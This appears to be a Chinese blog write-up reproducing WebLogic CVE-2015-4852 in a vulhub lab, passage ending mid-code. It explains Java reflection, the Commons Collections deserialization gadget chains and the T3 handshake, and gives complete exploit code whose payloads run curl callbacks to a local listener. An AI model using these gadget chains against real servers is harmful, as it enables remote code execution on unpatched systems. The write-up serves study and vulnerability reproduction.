1. weblogic是什么?

摘自wikipedia

WebLogic是美商Oracle的主要产品之一,系购并得来。是商业市场上主要的Java应用服务器软件之一,是世界上第一个成功商业化的J2EE应用服务器

2. 历史漏洞

  • CVE-2015-4852
  • CVE-2016-0638
  • CVE-2016-3510
  • CVE-2017-3248
  • CVE-2017-3506
  • CVE-2017-10271
  • CVE-2018-2628
  • CVE-2018-2893
  • CVE-2018-3191
  • CVE-2018-3197
  • CVE-2018-3201
  • CVE-2018-3245
  • CVE-2019-2890

但是据参考文章所言,主要其实可以分为两大块:

1、利用xml decoded反序列化进行远程代码执行的漏洞,例如:

CVE-2017-10271,CVE-2017-3506。

2、利用t3协议+java反序列化进行远程代码执行的漏洞,例如:

CVE-2015-4852、CVE-2016-0638、CVE-2016-3510、CVE-2017-3248、CVE-2018-2628、CVE-2018-2894

这篇文章主要是我复现CVE-2015-4852的过程记录,这个漏洞利用的是后者,也就是t3协议+java反序列化

3. 前置知识

因为本文的主要内容是对漏洞的复现和原理分析,所以这部分并没有详细展开

3.1 RMI、JRMP、JNDI协议

RMI是Rmote Method Invocation的简称,RMI目前使用JRMP进行通信。
JRMP指的是java remote method protocol(Java远程消息交换协议),也就是说JRMP是专门为RMI实现的协议。

3.2 T3协议

上面提到的JRMP协议是rmi默认使用的协议,但是Weblogic Server中的RMI通信使用T3协议和其他java程序间传输数据(序列化的类),t3协议是高度优化的rmi,更详细的内容可以参考下面的T3协议部分

3.3 java序列化与反序列化

  • Java 序列化是指把 Java 对象转换为字节序列的过程便于保存在内存、文件、数据库中,ObjectOutputStream类的writeObject()方法可以实现序列化。
  • Java 反序列化是指把字节序列恢复为 Java 对象的过程,ObjectInputStream类的readObject()方法用于反序列化。
  • 在反序列化时,如果我们输入的序列化内容可以控制readObject里面的一些内容来触发Runtime.getRuntime.exec,就可以实现命令执行。
    ### 3.4 反射机制

JAVA反射机制是在运行状态中,对于任意一个类,都能够知道这个类的所有属性和方法;对于任意一个对象,都能够调用它的任意一个方法和属性;这种动态获取的信息以及动态调用对象的方法的功能称为java语言的反射机制。以下面代码为例简单说明。

package com.b1ClassLoader;

import java.lang.reflect.Method;

public class Test {
    public static void main (String[] args) throws Exception{
        // 实例化一个TestUser类
        TestUser user=new TestUser();
        // Class类可以通过 对象的getCLass方法获取
        Class cls = user.getClass();
        // 也可以通过 类名.class获取
        Class cls2 = TestUser.class;
        // 还可以通过Class.forName
        Class cls3 = Class.forName("com.b1ClassLoader.TestUser");

        // 通过实例的Class类对象来调用这个对象里面的method,如果Method有参数,在getMethod后面的参数上赋值相应的参数类型,譬如这里setUsername的一个参数是String类型
        Method method = cls.getMethod("hello");
        Method method2 = cls2.getMethod("setUsername", String.class);
        //最后通过 Method.invoke调用方法,同样的,如果有参数,往后面放
        method.invoke(user);
        method2.invoke(user,"testname");
        System.out.println(user.getUsername());
    }
}

class TestUser{
    private String username;

    public String getUsername() {
        return username;
    }

    public void setUsername(String username) {
        this.username = username;
    }

    public void hello(){
        System.out.println("hello");
    }
}

4. 漏洞复现

环境: 在 ubuntu 16.04 上跑的vulhub的weblogic docker镜像,具体版本是:

  • jdk1.6.0_45
  • weblogic 10.3.6
  • 在mac上装了jdk1.6.0_65用来编译exp

4.1 配置weblogic环境

这里使用的vulhub的docker,为了自己能自己从脚本启动,微微改了一下文件:

  • docker-compose.yml

    version: '2'
    services:
    weblogic:
     build: .
     ports:
      - "7001:7001"
      - "8453:8453"
    
  • Dockerfile

from vulhub/weblogic:10.3.6.0-2017

ENV debugFlag true 

EXPOSE 7001 
EXPOSE 8453

CMD ["/bin/sh","-c","while true;do echo 1;sleep 10;done"]

使用docker-compose up -d启动后进入docker,修改~/Oracle/Middleware/user_projects/domains/base_domain/bin/setDomainEnv.sh,在开头加上

debugFlag="true" 
export debugFlag

然后执行sudo docker restart [容器id],然后把docker容器root目录下的内容复制出来。

docker cp [容器id]:/root .

4.2 配置idea远程调试

idea远程调试原理就是本地有跟服务器上一样的lib文件,然后在本地的lib代码里下断点,通过debug就可以在远程服务器时在本地断点停住

用idea打开拷贝出来的目录/root/Oracle/Middleware/wlserver_10.3。通过上面的原理就知道,实际上要调试那个类文件就把那个class文件所在的jar加入到libraries中,这里要添加server目录下的modules文件夹和。在idea左上角File->Project Structure里找到Libraries,添加上即可。

在idea中File->Project Structure里找到Project,这里选择从docker里拷出来的jdk,也就是jdk1.6.0_45

最后,在右上角Add Configuration,添加remote服务器,填写ip和端口

然后点击debug开始监听。

根据参考链接3的文章,这里在/wlserver_10.3/server/lib/weblogic.jar!/weblogic/wsee/jaxws/WLSServletAdapter.class的129行下断点,然后访问/wls-wsat/,但是我怎么弄也无法在这里断点停住。。

于是换了思路,找了网上有关这个CVE的可用的EXP打一下,看EXP里调用了ChainedTransformer里的transform方法,
对于本文路径是/modules/com.bea.core.apache.commons.collections_3.2.0.jar!/org/apache/commons/collections/functors/ChainedTransformer.class,我直接在这个transfrom方法这里下断点,然后用exp打,终于停住


这样可以看到整个exp在代码中执行的过程了,但是还是需要分析原理才能理解整个过程。

4.3 新的问题

此时开始探究exp的原理,也就是commonscollections的调用链,代码在下面会贴出来。但问题就在于,本地无法编译执行,因为mac上装了高版本jdk后装不了jdk1.6了。中间也考虑用docker起个jdk1.6.45来编译,但是编译之后各种报错,没太搞懂就放弃了,最后还是找到这篇文章,成功在mac装上了jdk1.6。

4.4 apache.commons.collections利用链

接下来应该分析一下构造的反序列化利用链,主要是用到了apache commonscollections,这里以ysoserial的CommonCollections1为例进行分析,调用栈如下:

Gadget chain:
    ObjectInputStream.readObject()
        AnnotationInvocationHandler.readObject()
            Map(Proxy).entrySet()
                AnnotationInvocationHandler.invoke()
                    LazyMap.get()
                        ChainedTransformer.transform()
                            ConstantTransformer.transform()
                            InvokerTransformer.transform()
                                Method.invoke()
                                    Class.getMethod()
                            InvokerTransformer.transform()
                                Method.invoke()
                                    Runtime.getRuntime()
                            InvokerTransformer.transform()
                                Method.invoke()
                                    Runtime.exec()

本地生成一个java序列化文件poc.ser的完整的调用代码是:

因为漏洞没回显,我这里用的方式是本地nc监听1234端口,然后curl这个端口的方式看是否成功执行了

package src.main.java;

import org.apache.commons.collections.*;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;


public class CommonsCollectionsExp {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers_exec = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"curl 127.0.0.1:1234"})
        };

        Transformer chain = new ChainedTransformer(transformers_exec);

        HashMap innerMap = new HashMap();
        innerMap.put("value", "asdf");

        Map outerMap = TransformedMap.decorate(innerMap, null, chain);

        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor cons = clazz.getDeclaredConstructor(Class.class, Map.class);
        cons.setAccessible(true);

        Object ins = cons.newInstance(java.lang.annotation.Retention.class, outerMap);
        FileOutputStream fos = new FileOutputStream("./poc.ser");
        ObjectOutputStream os = new ObjectOutputStream(fos);
        os.writeObject(ins);
    }
}

这里首先要说明一下apache.commons.collections里的一些方法.

4.4.1 Transformer

package org.apache.commons.collections;

public interface Transformer {
  Object transform(Object var1);
}

Transformer只是一个接口,在利用时,我们一般调用实现该接口的类,例如在攻击代码中用到的InvokerTransformer

public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
        this.iMethodName = methodName;
        this.iParamTypes = paramTypes;
        this.iArgs = args;
    }


    public Object transform(Object input) {
        if (input == null) {
            return null;
        } else {
            try {
                Class cls = input.getClass();
                Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
                return method.invoke(input, this.iArgs);
            } catch (NoSuchMethodException var5) {
                throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
            } catch (IllegalAccessException var6) {
                throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
            } catch (InvocationTargetException var7) {
                throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var7);
            }
        }
    }

可以看到,InvokeTransformer的构造方法把三个参数赋值,然后transform方法使用反射调用了我们传入的类和方法,这里iMethodName iParamTypes iArgs三个参数都是直接可控的,只需要再控制input为一个Runtime的Class实例,就可以完成调用了,相当于Runtime.getRuntime().exec("xxxx")。也就是说,第一行代码相当于如下操作:

Class cls = Runtime.class;
Method method=cls.getMethod("getRuntime");
Object tmp1 = method.invoke(cls);
Class cls2 = tmp1.getClass();
Method method1 = cls2.getMethod("exec",String.class);
method1.invoke(tmp1,"curl 127.0.0.1:1234");

4.4.2 ChianedTransformer

而且这里还不是执行一个对象的某个方法,需要一个执行链,而这里正好有这么一个类,就是ChainedTransformer该类中也有一个transform方法:

public ChainedTransformer(Transformer[] transformers) {
    this.iTransformers = transformers;
}

public Object transform(Object object) {
    for(int i = 0; i < this.iTransformers.length; ++i) {
        object = this.iTransformers[i].transform(object);
    }

    return object;
}

可以看到,这个类构造方法接收我们传入的Transform类型的数组,然后调用transform方法对数组的每个元素调用transform方法。
除此之外,为了获得Runtime.class,这里又用到另一个类ConstantTransformer,代码如下

public ConstantTransformer(Object constantToReturn) {
    this.iConstant = constantToReturn;
}

public Object transform(Object input) {
    return this.iConstant;
}

他的transform方法就很简单,就是返回iConstant,而this.iConstant又来自构造函数的参数,所以,如果我们实例化时传入一个Runtime.class返回的也是Runtime.class那么也就解决利用链开头的Runtime问题。这就是代码开头部分。如果只看这一部分,还差一个chain.transform就可以实现命令执行,我们随便传一个值,测试一下。

public class CommonsCollectionsExp {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers_exec = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"curl 127.0.0.1:1234"})
        };

        Transformer chain = new ChainedTransformer(transformers_exec);
        // nc开监听
        chain.transform(1);
    }
}

构造一个反序列化链的时候,我们是从调用栈底部网上推的,通过前面的分析,我们得到了最底部的Runtime.getRuntime.exec("curl 127.0.0.1:1234"),刚才调用链生效要触发ChainedTransformer.transform方法,所以接下来就要想办法调用这个方法。根据网上的分析,有两个类调用了transform方法,分别是LazyMapTransformedMap

4.4.3 TransformedMap利用链

在TransformedMap类中,有三个函数调用了transform方法,分别是:

protected final Transformer keyTransformer;
protected final Transformer valueTransformer;
protected Object transformKey(Object object) {
    return this.keyTransformer == null ? object : this.keyTransformer.transform(object);
}

protected Object transformValue(Object object) {
    return this.valueTransformer == null ? object : this.valueTransformer.transform(object);
}
    protected Object checkSetValue(Object value) {
    return this.valueTransformer.transform(value);
}

所以下一步就是构造this.keyTransformer或者this.valueTransformer为我们刚才构造的ChainedTransformer类型对象,然后触发transform方法即可。但由于这几个方法都是protected的,无法从外部访问,所以考虑从public类型的方法入手,一共有4个public的方法(这里把transformKey方法也放上了)

public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
    return new TransformedMap(map, keyTransformer, valueTransformer);
}

public static Map decorateTransform(Map map, Transformer keyTransformer, Transformer valueTransformer) {
    TransformedMap decorated = new TransformedMap(map, keyTransformer, valueTransformer);
    if (map.size() > 0) {
        Map transformed = decorated.transformMap(map);
        decorated.clear();
        decorated.getMap().putAll(transformed);
    }

    return decorated;
}
protected Object transformKey(Object object) {
    return this.keyTransformer == null ? object : this.keyTransformer.transform(object);
}
public Object put(Object key, Object value) {
    key = this.transformKey(key);
    value = this.transformValue(value);
    return this.getMap().put(key, value);
}
public void putAll(Map mapToCopy) {
    mapToCopy = this.transformMap(mapToCopy);
    this.getMap().putAll(mapToCopy);
}

这里用到的是decorate方法,因为decorate会调用构造函数,从而实现对类内部属性的赋值。这里还有个put方法,既满足是public,又满足调用了this.transformKey,在transformKey的构造函数中可以看到,只要我们传入的Object不是null就会执行transform方法,满足调用链,所以在本地测试的时候,可以在构造完前半部分调用一下这个put,来触发transform。下一步是想办法让put函数的第一个参数变成我们前面构造的chain,这里构造代码中间部分

HashMap innerMap = new HashMap();
innerMap.put("keykey", "vvv");

Map outerMap = TransformedMap.decorate(innerMap, null, chain);

因为decorate有个Map类型的第一个参数,这里随便生成一个就行,主要是把前面构造的ChainedTransformer类型的chain放到第三个参数上(transformKey和transformValue都可以通过put触发transform方法,但是后面反序列化的时候调用的方法只能在value上触发,所以放到第三个参数),为了测试,这里可以在后面手动调用一下put方法,nc监听一下,命令成功执行,此时代码是:

package src.main.java;

import org.apache.commons.collections.*;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;


public class CommonsCollectionsExp {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers_exec = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"curl 127.0.0.1:1234"})
        };

        Transformer chain = new ChainedTransformer(transformers_exec);

        HashMap innerMap = new HashMap();
        innerMap.put("value", "asdf");

        Map outerMap = TransformedMap.decorate(innerMap, null, chain);
        //这里调用put单纯本地测试一下是否可行
        outerMap.put("aaaa","bbbbb");
    }
}

目前找到了触发transform的类,但最终目的是反序列化的时候自动调用,所以下一步是找一个有readObject方法的类,并且在readObject需要调用刚才提到的transform方法。这里就用到了jdk自带的sun.reflect.annotation.AnnotationInvocationHandler类,由于这个类在jdk1.8得到了更新,所以一些payload不能攻击运行在jdk1.8的weblogic,这里环境还是jdk1.6。这个类的readObject实现如下

private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
    var1.defaultReadObject();
    AnnotationType var2 = null;

    try {
        var2 = AnnotationType.getInstance(this.type);
    } catch (IllegalArgumentException var9) {
        throw new InvalidObjectException("Non-annotation type in annotation serial stream");
    }

    Map var3 = var2.memberTypes();
    Iterator var4 = this.memberValues.entrySet().iterator();

    while(var4.hasNext()) {
        Entry var5 = (Entry)var4.next();
        String var6 = (String)var5.getKey();
        Class var7 = (Class)var3.get(var6);
        if (var7 != null) {
            Object var8 = var5.getValue();
            if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
                var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));
            }
        }
    }

}

这里涉及到一个知识点:

TransformedMap是Map类型,TransformedMap里的每个entryset在调用setValue方法时会自动调用TransformedMap类的checkSetValue方法

为什么会有上面一点呢?通过源码可以看到TransformedMap继承了AbstractInputCheckedMapDecorator类,而在这个类中可以看到如下代码

static class MapEntry extends AbstractMapEntryDecorator {
    private final AbstractInputCheckedMapDecorator parent;

    protected MapEntry(Entry entry, AbstractInputCheckedMapDecorator parent) {
        super(entry);
        this.parent = parent;
    }

    public Object setValue(Object value) {
        value = this.parent.checkSetValue(value);
        return super.entry.setValue(value);
    }
}

可以看到,在这个类中实现了setValue方法,在setValue的时候会调用checkSetValue方法。

在上面的readObject中可以看到,var5正好是this.memberValues.entrySet()的Entry类,而且调用了setValue方法,那么在var5.setValue被调用时,同时会调用

protected Object checkSetValue(Object value) {
    return this.valueTransformer.transform(value);
}

在这里,就调用了transform方法,由于调用的是valueTransformer,所以在上面构造exp的时候把chain放在value那了。

由于var5是从this.memberValues取的,这个就是构造函数的第二个参数,所以构造函数的第二个参数放上面生成的outerMap就ok了。

但是要进入这个触发点,还需要满足!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)

通过代码可以知道var7 = (Class)var3.get(var6),其中var3=var2.memberTypes(),然后var2=AnnotationType.getInstance(this.type),而this.type是可控的,构造函数如下(jdk1.7版本是这样,jdk1.6更简单,直接赋值没啥好分析的,我贴在下面了):

AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) {
        Class[] var3 = var1.getInterfaces();
        if (var1.isAnnotation() && var3.length == 1 && var3[0] == Annotation.class) {
            this.type = var1;
            this.memberValues = var2;
        } else {
            throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
        }
    }
//jdk1.6版本是这样,没过滤更简单
AnnotationInvocationHandler(Class var1, Map<String, Object> var2) {
    this.type = var1;
    this.memberValues = var2;
}

现在看一下jdk1.7的过滤条件,要求是Annotation类的子类,Annotation这个接口是所有注解类型的公用接口,所有注解类型应该都是实现了这个接口的,在exp里用的是java.lang.annotation.Retention.class这个类,总的exp如下,这里最后模拟了一下序列化和返序列化的过程

4.4.4 TransformedMap的exploit

本地测试的exp代码是

package src.main.java;

import org.apache.commons.collections.*;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;


public class CommonsCollectionsExp {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers_exec = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"curl 127.0.0.1:1234"})
        };

        Transformer chain = new ChainedTransformer(transformers_exec);

        HashMap innerMap = new HashMap();
        innerMap.put("keykey", "vv");

        Map outerMap = TransformedMap.decorate(innerMap, null, chain);

        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor cons = clazz.getDeclaredConstructor(Class.class, Map.class);
        cons.setAccessible(true);

        Object ins = cons.newInstance(java.lang.annotation.Retention.class, outerMap);
//        FileOutputStream fos = new FileOutputStream("./poc.ser");
//        ObjectOutputStream oos = new ObjectOutputStream(fos);
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(ins);
        oos.flush();
        oos.close();
        // 本地模拟反序列化
        ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
        ObjectInputStream ois = new ObjectInputStream(bais);
        Object obj = (Object) ois.readObject();
    }
}

4.4.5 LazyMap

再看LazyMap中调用transform方法的地方

public Object get(Object key) {
    if (!super.map.containsKey(key)) {
        Object value = this.factory.transform(key);
        super.map.put(key, value);
        return value;
    } else {
        return super.map.get(key);
    }
}

调用了this.factory.transfrom,而this.factory由构造函数指定

protected final Transformer factory;

protected LazyMap(Map map, Transformer factory) {
    super(map);
    if (factory == null) {
        throw new IllegalArgumentException("Factory must not be null");
    } else {
        this.factory = factory;
    }
}

构造poc时只要让给LazyMap的第二个参数传入一个ChainedTransformer类型对象即可。下一步是找在哪里调用这个get方法,

public Object invoke(Object var1, Method var2, Object[] var3) {
        String var4 = var2.getName();
        Class[] var5 = var2.getParameterTypes();
        if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) {
            return this.equalsImpl(var3[0]);
        } else if (var5.length != 0) {
            throw new AssertionError("Too many parameters for an annotation method");
        } else {
            byte var7 = -1;
            switch(var4.hashCode()) {
            case -1776922004:
                if (var4.equals("toString")) {
                    var7 = 0;
                }
                break;
            case 147696667:
                if (var4.equals("hashCode")) {
                    var7 = 1;
                }
                break;
            case 1444986633:
                if (var4.equals("annotationType")) {
                    var7 = 2;
                }
            }

            switch(var7) {
            case 0:
                return this.toStringImpl();
            case 1:
                return this.hashCodeImpl();
            case 2:
                return this.type;
            default:
                Object var6 = this.memberValues.get(var4);
                if (var6 == null) {
                    throw new IncompleteAnnotationException(this.type, var4);
                } else if (var6 instanceof ExceptionProxy) {
                    throw ((ExceptionProxy)var6).generateException();
                } else {
                    if (var6.getClass().isArray() && Array.getLength(var6) != 0) {
                        var6 = this.cloneArray(var6);
                    }

                    return var6;
                }
            }
        }
    }

AnnotationInvocationHandler类的invoke方法中,有this.memberValues.get(var4);,而this.memberValues在构造函数中赋值

AnnotationInvocationHandler(Class var1, Map<String, Object> var2) {
    this.type = var1;
    this.memberValues = var2;
}

所以只要在构造函数的第二个参数传LazyMap类型即可,接下来的问题是,如何调用这个invoke方法呢?这就要利用到java的动态代理,参考这篇文章

总结为一句话就是,被动态代理的对象调用任意方法都会通过对应的InvocationHandler的invoke方法触发

引用参考文章8的里的这一段

只要创建一个LazyMap的动态代理,然后再用动态代理调用LazyMap的某个方法就行了,但是为了反序列化的时候自动触发,我们应该找的是某个重写了readObject方法的类,这个类的readObject方法中可以通过动态代理调用LazyMap的某个方法,其实这和直接调用LazyMap某个方法需要满足的条件几乎是一样的,因为某个类的动态代理与它本身实现了同一个接口。而我们通过分析TransformedMap利用链的时候,已经知道了在AnnotationInvocationHandler的readObject方法中会调用某个Map类型对象的entrySet()方法,而LazyMap以及他的动态代理都是Map类型,所以,一条利用链就这么出来了:

package src.main.java;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.eclipse.persistence.internal.xr.Invocation;

import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;

public class CommonsCollectionsExp2 {
    public static void main(String[] args) throws Exception{
        Transformer[] transformers_exec = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"curl 127.0.0.1:1234"})
        };

        Transformer chain = new ChainedTransformer(transformers_exec);

        HashMap innerMap = new HashMap();
        innerMap.put("keykey","vv");

        Map lazyMap = LazyMap.decorate(innerMap,chain);
        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor cons = clazz.getDeclaredConstructor(Class.class,Map.class);
        cons.setAccessible(true);
        // 创建LazyMap的handler实例
        InvocationHandler handler = (InvocationHandler) cons.newInstance(Override.class,lazyMap);
        // 创建LazyMap的动态代理实例
        Map mapProxy = (Map)Proxy.newProxyInstance(LazyMap.class.getClassLoader(),LazyMap.class.getInterfaces(), handler);

        // 创建一个AnnotationInvocationHandler实例,并且把刚刚创建的代理赋值给this.memberValues
        InvocationHandler handler1 = (InvocationHandler)cons.newInstance(Override.class, mapProxy);

        // 序列化
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(handler1);
        oos.flush();
        oos.close();
        // 本地模拟反序列化
        ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
        ObjectInputStream ois = new ObjectInputStream(bais);
        Object obj = (Object) ois.readObject();
    }
}

上面的代码执行后虽然会报错,但是确实可以成功执行。

4.4.6 LazyMap的另一条链

这部分引用自参考链接8

上面的链受jdk版本限制,还有一条不受限的链。利用了另一个调用get方法的TiedMapEntry类的getValue方法

public Object getValue() {
        return this.map.get(this.key);
}

而这里的this.map是构造函数的第一个参数

public TiedMapEntry(Map map, Object key) {
    this.map = map;
    this.key = key;
}

所以下一步是找在反序列化的readObject中哪里会调用getValue方法。最终定位到BadAttributeValueExpException类的readObject方法。

private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
    GetField var2 = var1.readFields();
    Object var3 = var2.get("val", (Object)null);
    if (var3 == null) {
        this.val = null;
    } else if (var3 instanceof String) {
        this.val = var3;
    } else if (System.getSecurityManager() != null && !(var3 instanceof Long) && !(var3 instanceof Integer) && !(var3 instanceof Float) && !(var3 instanceof Double) && !(var3 instanceof Byte) && !(var3 instanceof Short) && !(var3 instanceof Boolean)) {
        this.val = System.identityHashCode(var3) + "@" + var3.getClass().getName();
    } else {
        this.val = var3.toString();
    }

}

第三个分支里调用了var3.toString(),而var3其实就是取传过来对象的val属性值,所以,只要我们控制BadAttributeValueExpException对象的val属性的值为我们精心构造的TiedMapEntry对象就行。EXP如下

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.management.BadAttributeValueExpException;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class POC6 {
    public static void main(String[] args) throws Exception{
        Transformer[] transformers_exec = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"gnome-calculator"})
        };

        Transformer chain = new ChainedTransformer(transformers_exec);

        HashMap innerMap = new HashMap();
        innerMap.put("value","axin");

        Map lazyMap = LazyMap.decorate(innerMap,chain);
        // 将lazyMap封装到TiedMapEntry中
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "val");
        // 通过反射给badAttributeValueExpException的val属性赋值
        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
        Field val = badAttributeValueExpException.getClass().getDeclaredField("val");
        val.setAccessible(true);
        val.set(badAttributeValueExpException, tiedMapEntry);
        // 序列化
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(badAttributeValueExpException);
        oos.flush();
        oos.close();
        // 本地模拟反序列化
        ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
        ObjectInputStream ois = new ObjectInputStream(bais);
        Object obj = (Object) ois.readObject();
    }
}

这里有一点需要注意,那就是不嗯给你直接在初始化的时候就给badAttributeValueExpException 对象的val属性赋值,因为它的构造函数如下:

public BadAttributeValueExpException (Object val) {
        this.val = val == null ? null : val.toString();
    }

这里直接就调用了val.toString,所以,如果通过构造函数赋值val属性为我们构造的TiedMapEntry对象对导致在本地生成payload的时候就执行了命令,并且我们精心构造的对象还会被转换为String类型,就失效了。

4.5 T3协议

前面已经分析了exp的原理,生成了序列化攻击文件poc.ser,但是为了打到weblogic服务器上,我们还需要了解一下t3协议相关的知识。

首先,ubuntu上用tcpdump抓流量包

sudo tcpdump -i ens33 port 7001 -w t3.pcap

然后用exp打一下,从exp来分析一下t3协议的通信过程,wireshark分析流量包

可以看到,一开始是exp发送了一行t3 12.2.1,意思就是客户端的weblogic版本是12.2.1,服务器端返回一个HELO:加上服务器端的版本信息10.3.6.0然后加上.false,后面的内容是一段数据加上构造的攻击序列化内容,在其中可以看到序列化的头ac ed 00 05

所以简单来说,t3协议的exp需要包含2部分,一个请求头,是't3 12.2.1\nAS:255\nHL:19\nMS:10000000\nPU:t3://us-l-breens:7001\n\n',等到服务器返回相应版本信息后,再发送payload。这里为了生存payload,首先需要正常使用t3协议访问一下,然后抓正常的流量包,再替换其中的序列化部分,为poc.ser的内容。
在exp里用的是这种方式,本地复测了一下,服务端地址是192.168.38.2的7001端口,测试方式是本机192.168.38.1监听1234端口,然后命令执行一个curl,看是否成功。
首先生成poc.ser,是利用如下java代码生成的序列化利用链

package src.main.java;
import org.apache.commons.collections.*;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;

public class CVE_2015_4852 {
    public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException, IOException, IOException {
        Transformer[] transformers = new Transformer[]{

                new ConstantTransformer(Runtime.class),

                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),

                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),

                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"curl 192.168.38.1:1234"})

        };


        Transformer chain = new ChainedTransformer(transformers);


        HashMap<String, String> innerMap = new HashMap<String, String>();


        Map lazyMap = LazyMap.decorate(innerMap, chain);

        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");

        Constructor cons = clazz.getDeclaredConstructor(Class.class, Map.class);

        cons.setAccessible(true);


